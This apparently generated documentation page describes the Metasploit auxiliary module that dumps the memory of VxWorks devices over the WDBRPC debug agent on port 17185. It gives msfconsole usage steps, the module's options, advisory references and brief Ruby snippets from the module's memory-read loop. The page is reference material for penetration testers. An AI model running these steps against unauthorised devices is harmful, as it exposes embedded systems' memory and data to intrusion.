VxWorks WDB Agent Remote Memory Dump - Metasploit


This page contains detailed information about how to use the auxiliary/admin/vxworks/wdbrpc_memory_dump metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: VxWorks WDB Agent Remote Memory Dump
Module: auxiliary/admin/vxworks/wdbrpc_memory_dump
Source code: modules/auxiliary/admin/vxworks/wdbrpc_memory_dump.rb
Disclosure date: -
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 17185
List of CVEs: -

This module provides the ability to dump the system memory of a VxWorks target through WDBRPC

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/vxworks/wdbrpc_memory_dump
msf auxiliary(wdbrpc_memory_dump) > show targets
    ... a list of targets ...
msf auxiliary(wdbrpc_memory_dump) > set TARGET target-id
msf auxiliary(wdbrpc_memory_dump) > show options
    ... show and set options ...
msf auxiliary(wdbrpc_memory_dump) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the admin/vxworks/wdbrpc_memory_dump auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/vxworks/wdbrpc_memory_dump

msf6 auxiliary(admin/vxworks/wdbrpc_memory_dump) > show info

       Name: VxWorks WDB Agent Remote Memory Dump
     Module: auxiliary/admin/vxworks/wdbrpc_memory_dump
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  hdm <[email protected]>

Available actions:
  Name      Description
  ----      -----------
  Download  Dump system memory

Check supported:
  No

Basic options:
  Name    Current Setting                           Required  Description
  ----    ---------------                           --------  -----------
  LPATH   /home/kali/.msf4/logs/vxworks_memory.dmp  yes       The local filename to store the dumped memory
  OFFSET  0                                         yes       The starting offset to read the memory dump (hex allowed)
  RHOSTS                                            yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   17185                                     yes       The target port

Description:
  This module provides the ability to dump the system memory of a 
  VxWorks target through WDBRPC

References:
  OSVDB (66842)
  http://blog.metasploit.com/2010/08/vxworks-vulnerabilities.html
  https://www.kb.cert.org/vuls/id/362332

Module Options


This is a complete list of options available in the admin/vxworks/wdbrpc_memory_dump auxiliary module:

msf6 auxiliary(admin/vxworks/wdbrpc_memory_dump) > show options

Module options (auxiliary/admin/vxworks/wdbrpc_memory_dump):

   Name    Current Setting                           Required  Description
   ----    ---------------                           --------  -----------
   LPATH   /home/kali/.msf4/logs/vxworks_memory.dmp  yes       The local filename to store the dumped memory
   OFFSET  0                                         yes       The starting offset to read the memory dump (hex allowed)
   RHOSTS                                            yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   17185                                     yes       The target port

Auxiliary action:

   Name      Description
   ----      -----------
   Download  Dump system memory

Advanced Options


Here is a complete list of advanced options supported by the admin/vxworks/wdbrpc_memory_dump auxiliary module:

msf6 auxiliary(admin/vxworks/wdbrpc_memory_dump) > show advanced

Module advanced options (auxiliary/admin/vxworks/wdbrpc_memory_dump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/vxworks/wdbrpc_memory_dump module can do:

msf6 auxiliary(admin/vxworks/wdbrpc_memory_dump) > show actions

Auxiliary actions:

   Name      Description
   ----      -----------
   Download  Dump system memory

Evasion Options


Here is the full list of possible evasion options supported by the admin/vxworks/wdbrpc_memory_dump auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/vxworks/wdbrpc_memory_dump) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No response to connection request


Here is a relevant code snippet related to the "No response to connection request" error message:

45:	    print_status("Attempting to dump system memory, starting at offset 0x%02x" % offset)
46:	
47:	    wdbrpc_client_connect
48:	
49:	    if not @wdbrpc_info[:rt_vers]
50:	      print_error("No response to connection request")
51:	      return
52:	    end
53:	
54:	    membase = @wdbrpc_info[:rt_membase]
55:	    memsize = @wdbrpc_info[:rt_memsize]

Unable to open existing dump! Writing a new file instead of resuming...


Here is a relevant code snippet related to the "Unable to open existing dump! Writing a new file instead of resuming..." error message:

62:	      begin
63:	        # Turns out ruby's implementation of seek with "ab" mode is all kind of busted.
64:	        lfd = ::File.open(datastore['LPATH'], "r+b")
65:	        lfd.seek(offset)
66:	      rescue Errno::ENOENT
67:	        print_error("Unable to open existing dump!  Writing a new file instead of resuming...")
68:	        lfd = ::File.open(datastore['LPATH'], "wb")
69:	      end
70:	    else
71:	      lfd = ::File.open(datastore['LPATH'], "wb")
72:	    end

Failed to download data at offset <VALUE>


Here is a relevant code snippet related to the "Failed to download data at offset <VALUE>" error message:

78:	
79:	
80:	    while (idx < memsize)
81:	      buff = wdbrpc_client_memread(membase + idx, mtu)
82:	      if not buff
83:	        print_error("Failed to download data at offset #{"0x%.8x" % idx}")
84:	        return
85:	      end
86:	
87:	      idx += buff.length
88:	      lfd.write(buff)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • hdm

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.